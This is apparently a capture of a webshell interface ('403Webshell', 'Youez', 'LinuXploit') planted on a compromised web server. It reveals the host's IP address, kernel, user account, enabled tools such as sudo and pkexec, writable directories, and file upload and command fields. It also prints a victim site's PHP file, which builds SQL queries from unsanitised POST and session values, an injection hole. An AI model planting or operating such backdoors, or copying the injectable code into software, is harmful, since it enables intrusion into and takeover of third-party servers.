403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/sportyone.com/public_html/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/sportyone.com/public_html/code/c_debuts_pub.php
<?php 	$page_title .= ' - Debutants ';
			$section_title = "Debutants";
				
				$niche_join = "";
						if(!empty($_SESSION['f_niche'])) {
							$niche_join = "join niche2asset as n2a on n2a.asset_id = a.asset_id and n2a.niche_id = '{$_SESSION['f_niche']}'";
						}
				
				$year_cond = "";
						if(!empty($_POST['year'])) {
							$year_cond = "  and YEAR((a.p_date)) = '{$_POST['year']}'";
						}				
				
				
				$query = "
				select m.model_id, m.model_name, m.official_site,  m.description, m.sex,  a.asset_id, a.asset_text, a.asset_title, 
				DATE_FORMAT(a.p_date, '%m/%d/%Y') as pretty_date , s.site_id, s.site_name, s.site_link
				from models as m
				$m2v_join
				
				join asset as a on a.asset_id = m2v.asset_id
				$niche_join
				$year_cond
				join sites s on a.site_id = s.site_id 
				where   a.media = 'D' and a.live <> 'n' and m.sex != 'M' and a.p_date <= '".date('Y-m-d')."' ";
				
				if(isset($letter_search))
					{
				
					$query .= "  $letter_search ";
					}
				else
					{
					$query .= "  $cond ";
					}	
				
				
				$query .= " 
				order by a.p_date desc limit 10 ";
			//	limit " . ITEMS_PER_PAGE;
			
		//	echo $query;
			
			$models_r = $connection->query($query);

			$sql_niches = "select niche.niche_name, niche.niche_id from niche, niche2asset, asset 
						   where niche2asset.niche_id = niche.niche_id and niche2asset.asset_id = asset.asset_id and asset.media = 'D'
						   group by niche.niche_id order by niche.niche_name ASC";
			$niches = $connection->query($sql_niches);		
			
			
			
$deb_years = "SELECT DISTINCT YEAR( (p_date) ) AS year FROM asset WHERE media = 'D'	 ";		
$deb_years = $connection->query($deb_years);				
			
?>

Youez - 2016 - github.com/yon3zu
LinuXploit